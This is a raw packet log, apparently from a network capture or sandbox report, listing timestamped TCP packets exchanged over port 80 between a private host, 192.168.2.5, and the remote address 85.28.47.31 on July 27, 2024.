Jul 27, 2024 09:25:07.015208960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015233994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015243053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015276909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015327930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015364885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015368938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015368938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015368938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015368938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015397072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015399933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015408039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015448093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015450001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015482903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015499115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015516996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015532017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015551090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015568018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015599966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015604019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015635967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015652895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015669107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015677929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015702009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015717030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015734911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015749931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015769958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015799046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015804052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015836000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015836954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015844107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015871048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.015887022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.015922070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016166925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016218901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016243935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016262054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016272068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016304970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016320944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016339064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016354084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016371012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016386986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016406059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016419888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016438007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016463041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016479015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016490936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016551018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016555071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016597033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016602993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016630888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016654968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016666889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016679049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016716003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016719103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016752005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016771078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016786098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016803026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016835928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016836882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016871929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016897917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016905069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016935110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016937971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016946077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.016971111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.016988039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017005920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017020941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017038107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017055988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017071962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017093897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017102957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017121077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017138004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017153025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017170906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017189026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017205000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017224073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017237902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017251968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017270088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017288923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017302990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017321110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017337084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017354012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017370939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017385006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017405033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017420053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017438889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017453909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017472029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017488956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017507076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017524004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017543077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017558098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017592907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017678022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017710924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017734051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017745018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017760038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017777920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017791033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017810106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017831087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017843008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017858028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017875910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017891884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017908096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017925978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017941952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.017957926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017991066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.017992020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018028975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018040895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018060923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018086910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018098116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018099070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018126965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018150091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018158913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018182039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018192053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018209934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018224955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018241882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018260956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018285990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018294096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018311024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018340111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018426895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018459082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018481970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018491983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018503904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018524885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018539906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018558979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018575907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018588066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018613100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018620968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018639088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018654108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018670082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018682003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018704891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018716097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018733978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018748999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018764973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018781900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018799067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018815994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018832922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018848896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018866062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018881083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.018899918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.018929958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019001007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019033909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019057035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019066095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019078970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019098997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019114017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019133091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019150019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019166946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019181967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019198895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019216061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019232035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019248962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019264936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019280910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019296885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019313097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019329071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019347906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019362926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019378901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019396067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019411087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019429922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019447088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019479036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019484997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019517899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019536018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019552946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019567013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019586086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019603968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019618988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019630909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019653082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019665003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019684076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.019701958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.019731998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108345032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108413935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108421087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108450890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108462095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108508110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108511925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108568907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108587027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108638048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108639002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108673096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108680010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108706951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108740091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108741999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108753920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108774900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108787060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108809948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108819962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108843088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108855963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108876944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108886003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108910084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108922958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108943939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108951092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.108975887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.108985901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109009027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109021902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109040976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109052896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109077930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109086037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109110117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109122038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109144926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109159946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109174013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109194040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109205961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109217882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109256029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109257936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109286070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109296083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109328032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109338045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109371901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109388113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109405994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109414101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109455109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109493017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109525919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109541893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109561920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109566927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109594107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109600067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109632969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109643936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109673977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109688997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109705925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109718084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109740019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109750986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109774113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109782934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109807968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109817982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109842062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109855890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109874964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109884977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109906912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109915018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109952927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.109956980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.109991074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110001087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110023022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110035896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110065937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110074043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110101938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110131025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110132933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110152006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110167027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110172987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110194921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110208988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110244989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110277891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110280037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110280037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110311031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110318899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110342979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110352039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110388994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110394955 CEST	80	49704	85.28.47.31	192.168.2.5
